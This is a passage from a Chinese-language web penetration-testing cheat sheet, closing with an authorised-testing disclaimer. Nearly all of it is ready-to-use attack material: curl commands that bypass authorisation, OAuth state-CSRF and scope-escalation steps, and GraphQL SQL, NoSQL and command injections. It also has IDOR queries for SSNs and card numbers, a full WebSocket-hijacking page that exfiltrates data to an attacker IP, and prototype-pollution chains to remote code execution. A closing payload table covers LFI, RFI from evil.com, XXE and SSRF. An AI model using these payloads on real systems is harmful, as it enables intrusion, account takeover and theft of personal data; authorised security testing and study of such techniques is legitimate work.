curl -X POST http://target.com/graphql -H "Content-Type: application/json" \
-d '{"query":"{user(id: 3) {name email phone}}"}'16.3 权限绕过技巧
# ============ Referer/Origin头绕过 ============
# 有些应用只检查Referer
curl -H "Referer: http://target.com/admin/dashboard" http://target.com/api/delete_user/5
# ============ 请求方法切换 ============
# POST有鉴权但GET没有
curl -X POST "http://target.com/api/admin/users" → 403
curl -X GET "http://target.com/api/admin/users" → 200
# ============ Content-Type切换 ============
# JSON请求需要鉴权,但form-data不需要
curl -H "Content-Type: application/json" -d '{"action":"delete"}' → 403
curl -H "Content-Type: application/x-www-form-urlencoded" -d "action=delete" → 200
# ============ 假Token绕过 ============
# 传入任意token可能被接受
curl -H "Authorization: Bearer admin" http://target.com/admin/users
# 或者空token
curl -H "Authorization: Bearer null" http://target.com/admin/users17.2 state参数缺失/可预测
# 如果state参数缺失或不验证
# Step 1: 攻击者自己发起OAuth授权,获取自己的code
# Step 2: 不点完成,阻止浏览器重定向
# Step 3: 获取自己的code: https://app.target.com/callback?code=ATTACKER_CODE
# Step 4: 构造钓鱼链接发给受害者
https://app.target.com/callback?code=ATTACKER_CODE&state=ANYTHING
# Step 5: 受害者点击 → 以攻击者的身份登录
# 之后受害者创建的资源都在攻击者名下
# 防御:state必须与用户Session绑定,且在callback时验证17.4 scope权限提升
# 正常OAuth scope: scope=read
# 攻击:尝试提权
https://oauth.target.com/authorize?...&scope=read+write+admin+delete
https://oauth.target.com/authorize?...&scope=read%20write%20admin
# 一些敏感scope:
# profile, email, phone, address, openid, offline_access
# admin, all, *, full_access, superuser18.2 GraphQL注入
# ============ SQL注入(如果resolver直接拼接SQL)============
query {
users(filter: "1' OR 1=1--") {
id
username
}
}
# ============ NoSQL注入(MongoDB)============
query {
user(username: {"$ne": null}) {
username
password
}
}
# ============ 命令注入(resolver中执行系统命令)============
mutation {
createFile(filename: "test; whoami") {
status
}
}18.4 IDOR in GraphQL
# 直接修改ID查看他人信息
query {
user(id: 2) {
email
ssn
creditCard
}
}
# 查看他人订单
query {
order(id: "ORDER-1002") {
user { email }
items { name price }
shippingAddress
}
}19. WebSocket攻击
19.1 跨站点WebSocket劫持 (CSWSH)
<!-- 攻击者的钓鱼页面 -->
<html>
<body>
<script>
// 建立到目标WebSocket的连接(携带受害者Cookie)
var ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
console.log("[+] Connected");
// 发送恶意消息
ws.send(JSON.stringify({"action":"delete_account","id":"123"}));
// 窃取数据
ws.send(JSON.stringify({"action":"get_private_messages"}));
};
ws.onmessage = function(event) {
// 把数据外传
console.log("[+] Received:", event.data);
new Image().src = 'http://YOUR_IP:8888/?data=' + encodeURIComponent(event.data);
};
</script>
</body>
</html>19.3 WebSocket认证绕过
# 测试:用普通HTTP会话的Cookie直接连接WebSocket
# 使用curl测试WebSocket握手:
curl -i -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Cookie: session=USER_SESSION" \
http://target.com/ws/
# 如果返回101 Switching Protocols,说明认证可能不足20. Prototype Pollution (JavaScript原型链污染)
20.1 检测
// 经典检测payload
// 如果应用有merge/extend函数且接受用户输入
// POST JSON:
{"__proto__": {"polluted": true}}
// 如果应用执行类似 obj = Object.assign({}, userInput) 或 merge({}, userInput)
// 然后检查:
Object.prototype.polluted // 如果是true,说明存在原型链污染
// 类似的检测:
{"constructor": {"prototype": {"polluted": true}}}20.3 原型链污染→RCE
// 污染了原型链后,寻找能触发命令执行的点
// 常见利用链1: child_process.spawn/exec 的选项
{
"__proto__": {
"shell": "/bin/bash", // 强制使用bash
"env": {
"NODE_OPTIONS": "--require=/tmp/malicious.js"
}
}
}
// 常见利用链2: ejs 模板引擎
{
"__proto__": {
"outputFunctionName": "a; return global.process.mainModule.constructor._load('child_process').execSync('id'); //"
}
}
// 之后被污染的Proto会影响ejs编译模板时的参数
// 常见利用链3: pug 模板引擎
{
"__proto__": {
"debug": true,
"compileDebug": true,
"self": false,
"line": "global.process.mainModule.require('child_process').execSync('id')"
}
}
// 常见利用链4: lodash template (lodash < 4.17.21)
{
"__proto__": {
"sourceURL": "\u000areturn process.mainModule.require('child_process').execSync('id')"
}
}快速参考:手工检测清单
SQL注入: ' OR 1=1-- ' AND sleep(5)-- |
NoSQL注入: {"$ne":null} {"$regex":"^a"} |
XSS: <script>alert(1)</script> |
CSRF: 构造自动提交表单 |
SSRF: http://169.254.169.254/ |
命令注入: ; whoami | id $(whoami) |
LFI: ?file=../../../../etc/passwd |
RFI: ?file=http://evil.com/shell.txt |
文件上传: .php.jpg .php%00.jpg .htaccess |
XXE: <!ENTITY xxe SYSTEM "file:///etc/passwd">|
SSTI: {{7*7}} ${7*7} <%=7*7%> |
反序列化: ysoserial / PHPGGC |
JWT: alg:none / 弱密钥爆破 |
请求走私: CL.TE / TE.CL |
缓存投毒: X-Forwarded-Host |
越权: /user/1 → /user/2 |
OAuth: redirect_uri劫持 |
GraphQL: query{__schema{types{name}}} |
WebSocket: 跨站点WebSocket劫持 |
PrototypePollution: {"__proto__":{"isAdmin":true}} |
免责声明:本文技术内容仅供安全研究和授权测试参考。对任何系统进行未授权的渗透测试、攻击或利用是违法行为。请在获得明确书面授权后进行安全测试。